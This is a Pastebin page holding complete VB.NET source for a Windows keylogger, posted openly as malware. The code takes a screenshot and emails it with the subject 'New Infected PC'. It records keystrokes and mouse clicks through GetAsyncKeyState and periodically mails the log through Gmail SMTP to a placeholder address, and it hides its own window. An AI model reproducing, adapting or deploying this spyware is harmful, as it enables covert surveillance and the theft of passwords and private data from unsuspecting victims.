API tools faq
paste
Advertisement
Guest User

VB.net Keyloggger

a guest
Oct 31st, 2014
270
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 8.03 KB | None | 0 0
raw download clone embed print report
  1. Imports System.Net.Mail
  2. Imports System.IO
  3. Imports Microsoft.Win32
  4. Public Class Form1
  5.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
  6.     Public log As String
  7.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  8.  
  9.  
  10.  
  11.         'the working area excludes all docked toolbars like taskbar, etc.
  12.         Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
  13.  
  14.         'create a bitmap of the working area
  15.         Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
  16.  
  17.             'copy the screen to the image
  18.             Using g = Graphics.FromImage(bmp)
  19.                 g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
  20.             End Using
  21.  
  22.             'save the image
  23.  
  24.             bmp.Save("C:\testim.png", System.Drawing.Imaging.ImageFormat.Png)
  25.  
  26.         End Using
  27.         Dim MailSetup As New MailMessage
  28.         MailSetup.Subject = "New Infected PC: " & My.Computer.Name & ":"
  29.         MailSetup.To.Add("yourmailadd@gmail.com")
  30.         MailSetup.From = New MailAddress("yourmailadd@gmail.com")
  31.         MailSetup.Body = "New computer was infected ! Computer name is : " & My.Computer.Name & " A screenshot of the computer's screen is Attached to this message."
  32.         Dim Attachment = New System.Net.Mail.Attachment("C:\testim.png") 'file path
  33.         MailSetup.Attachments.Add(Attachment) 'attachment
  34.  
  35.  
  36.         Dim SMTP As New SmtpClient("smtp.gmail.com")
  37.         SMTP.Port = "587"
  38.         SMTP.EnableSsl = True
  39.         SMTP.Credentials = New Net.NetworkCredential("yourmailadd@gmail.com", "yourpassword")
  40.         SMTP.Send(MailSetup)
  41.         RichTextBox1.Clear()
  42.         Timer1.Start()
  43.         Timer2.Start()
  44.         Timer3.Start()
  45.     End Sub
  46.  
  47.     Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  48.         If (GetAsyncKeyState(65)) Then
  49.             log = log + "A"
  50.         ElseIf (GetAsyncKeyState(66)) Then
  51.             log = log + "B"
  52.         ElseIf (GetAsyncKeyState(67)) Then
  53.             log = log + "C"
  54.         ElseIf (GetAsyncKeyState(68)) Then
  55.             log = log + "D"
  56.         ElseIf (GetAsyncKeyState(69)) Then
  57.             log = log + "E"
  58.         ElseIf (GetAsyncKeyState(70)) Then
  59.             log = log + "F"
  60.         ElseIf (GetAsyncKeyState(71)) Then
  61.             log = log + "G"
  62.         ElseIf (GetAsyncKeyState(72)) Then
  63.             log = log + "H"
  64.         ElseIf (GetAsyncKeyState(73)) Then
  65.             log = log + "I"
  66.         ElseIf (GetAsyncKeyState(74)) Then
  67.             log = log + "J"
  68.         ElseIf (GetAsyncKeyState(75)) Then
  69.             log = log + "K"
  70.         ElseIf (GetAsyncKeyState(76)) Then
  71.             log = log + "L"
  72.         ElseIf (GetAsyncKeyState(77)) Then
  73.             log = log + "M"
  74.         ElseIf (GetAsyncKeyState(78)) Then
  75.             log = log + "N"
  76.         ElseIf (GetAsyncKeyState(79)) Then
  77.             log = log + "O"
  78.         ElseIf (GetAsyncKeyState(80)) Then
  79.             log = log + "P"
  80.         ElseIf (GetAsyncKeyState(81)) Then
  81.             log = log + "Q"
  82.         ElseIf (GetAsyncKeyState(82)) Then
  83.             log = log + "R"
  84.         ElseIf (GetAsyncKeyState(83)) Then
  85.             log = log + "S"
  86.         ElseIf (GetAsyncKeyState(84)) Then
  87.             log = log + "T"
  88.         ElseIf (GetAsyncKeyState(85)) Then
  89.             log = log + "U"
  90.         ElseIf (GetAsyncKeyState(86)) Then
  91.             log = log + "V"
  92.         ElseIf (GetAsyncKeyState(87)) Then
  93.             log = log + "W"
  94.         ElseIf (GetAsyncKeyState(88)) Then
  95.             log = log + "X"
  96.         ElseIf (GetAsyncKeyState(89)) Then
  97.             log = log + "Y"
  98.         ElseIf (GetAsyncKeyState(90)) Then
  99.             log = log + "Z"
  100.         ElseIf (GetAsyncKeyState(48)) Then
  101.             log = log + "0"
  102.         ElseIf (GetAsyncKeyState(49)) Then
  103.             log = log + "1"
  104.         ElseIf (GetAsyncKeyState(50)) Then
  105.             log = log + "2"
  106.         ElseIf (GetAsyncKeyState(51)) Then
  107.             log = log + "3"
  108.         ElseIf (GetAsyncKeyState(52)) Then
  109.             log = log + "4"
  110.         ElseIf (GetAsyncKeyState(53)) Then
  111.             log = log + "5"
  112.         ElseIf (GetAsyncKeyState(54)) Then
  113.             log = log + "6"
  114.         ElseIf (GetAsyncKeyState(55)) Then
  115.             log = log + "7"
  116.         ElseIf (GetAsyncKeyState(56)) Then
  117.             log = log + "8"
  118.         ElseIf (GetAsyncKeyState(57)) Then
  119.             log = log + "9"
  120.         ElseIf (GetAsyncKeyState(96)) Then
  121.             log = log + "{Num0}"
  122.         ElseIf (GetAsyncKeyState(97)) Then
  123.             log = log + "{Num1}"
  124.         ElseIf (GetAsyncKeyState(98)) Then
  125.             log = log + "{Num2}"
  126.         ElseIf (GetAsyncKeyState(99)) Then
  127.             log = log + "{Num3}"
  128.         ElseIf (GetAsyncKeyState(100)) Then
  129.             log = log + "{Num4}"
  130.         ElseIf (GetAsyncKeyState(101)) Then
  131.             log = log + "{Num5}"
  132.         ElseIf (GetAsyncKeyState(102)) Then
  133.             log = log + "{Num6}"
  134.         ElseIf (GetAsyncKeyState(103)) Then
  135.             log = log + "{Num7}"
  136.         ElseIf (GetAsyncKeyState(104)) Then
  137.             log = log + "{Num8}"
  138.         ElseIf (GetAsyncKeyState(105)) Then
  139.             log = log + "{Num9}"
  140.         ElseIf (GetAsyncKeyState(106)) Then
  141.             log = log + "{Num*}"
  142.         ElseIf (GetAsyncKeyState(107)) Then
  143.             log = log + "{Num+}"
  144.         ElseIf (GetAsyncKeyState(13)) Then
  145.             log = log + "{Enter}"
  146.         ElseIf (GetAsyncKeyState(109)) Then
  147.             log = log + "{Num-}"
  148.         ElseIf (GetAsyncKeyState(110)) Then
  149.             log = log + "{Num.}"
  150.         ElseIf (GetAsyncKeyState(111)) Then
  151.             log = log + "{Num/}"
  152.         ElseIf (GetAsyncKeyState(32)) Then
  153.             log = log + " "
  154.         ElseIf (GetAsyncKeyState(8)) Then
  155.             log = log + "{Backspace}"
  156.         ElseIf (GetAsyncKeyState(9)) Then
  157.             log = log + "{Tab}"
  158.         ElseIf (GetAsyncKeyState(16)) Then
  159.             log = log + "{Shift}"
  160.         ElseIf (GetAsyncKeyState(17)) Then
  161.             log = log + "{Control}"
  162.         ElseIf (GetAsyncKeyState(20)) Then
  163.             log = log + "{Caps}"
  164.         ElseIf (GetAsyncKeyState(27)) Then
  165.             log = log + "{Esc}"
  166.         ElseIf (GetAsyncKeyState(33)) Then
  167.             log = log + "{PGup}"
  168.         ElseIf (GetAsyncKeyState(34)) Then
  169.             log = log + "{PGdn}"
  170.         ElseIf (GetAsyncKeyState(35)) Then
  171.             log = log + "{End}"
  172.         ElseIf (GetAsyncKeyState(36)) Then
  173.             log = log + "{Home}"
  174.         ElseIf (GetAsyncKeyState(37)) Then
  175.             log = log + "{LArrow}"
  176.         ElseIf (GetAsyncKeyState(38)) Then
  177.             log = log + "{UArrow}"
  178.         ElseIf (GetAsyncKeyState(39)) Then
  179.             log = log + "{RArrow}"
  180.         ElseIf (GetAsyncKeyState(40)) Then
  181.             log = log + "{DArrow}"
  182.         ElseIf (GetAsyncKeyState(45)) Then
  183.             log = log + "{Insert}"
  184.         ElseIf (GetAsyncKeyState(46)) Then
  185.             log = log + "{Del}"
  186.         ElseIf (GetAsyncKeyState(144)) Then
  187.             log = log + "{NumLock}"
  188.         ElseIf (GetAsyncKeyState(188)) Then
  189.             log = log + "{,}"
  190.         ElseIf (GetAsyncKeyState(1)) Then
  191.             log = log + "[L]"
  192.         ElseIf (GetAsyncKeyState(2)) Then
  193.             log = log + "[R]"
  194.  
  195.         End If
  196.         RichTextBox1.Text = log
  197.     End Sub
  198.  
  199.     Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
  200.         Dim MailSetup As New MailMessage
  201.         MailSetup.Subject = My.Computer.Name & ":"
  202.         MailSetup.To.Add("yourmailadd@gmail.com")
  203.         MailSetup.From = New MailAddress("yourmailadd@gmail.com")
  204.         MailSetup.Body = RichTextBox1.Text
  205.         Dim SMTP As New SmtpClient("smtp.gmail.com")
  206.         SMTP.Port = 587
  207.         SMTP.EnableSsl = True
  208.         SMTP.Credentials = New Net.NetworkCredential("yourmailadd@gmail.com", "yourpassword")
  209.         SMTP.Send(MailSetup)
  210.         RichTextBox1.Clear()
  211.     End Sub
  212.  
  213.     Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
  214.         Me.Hide()
  215.     End Sub
  216. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!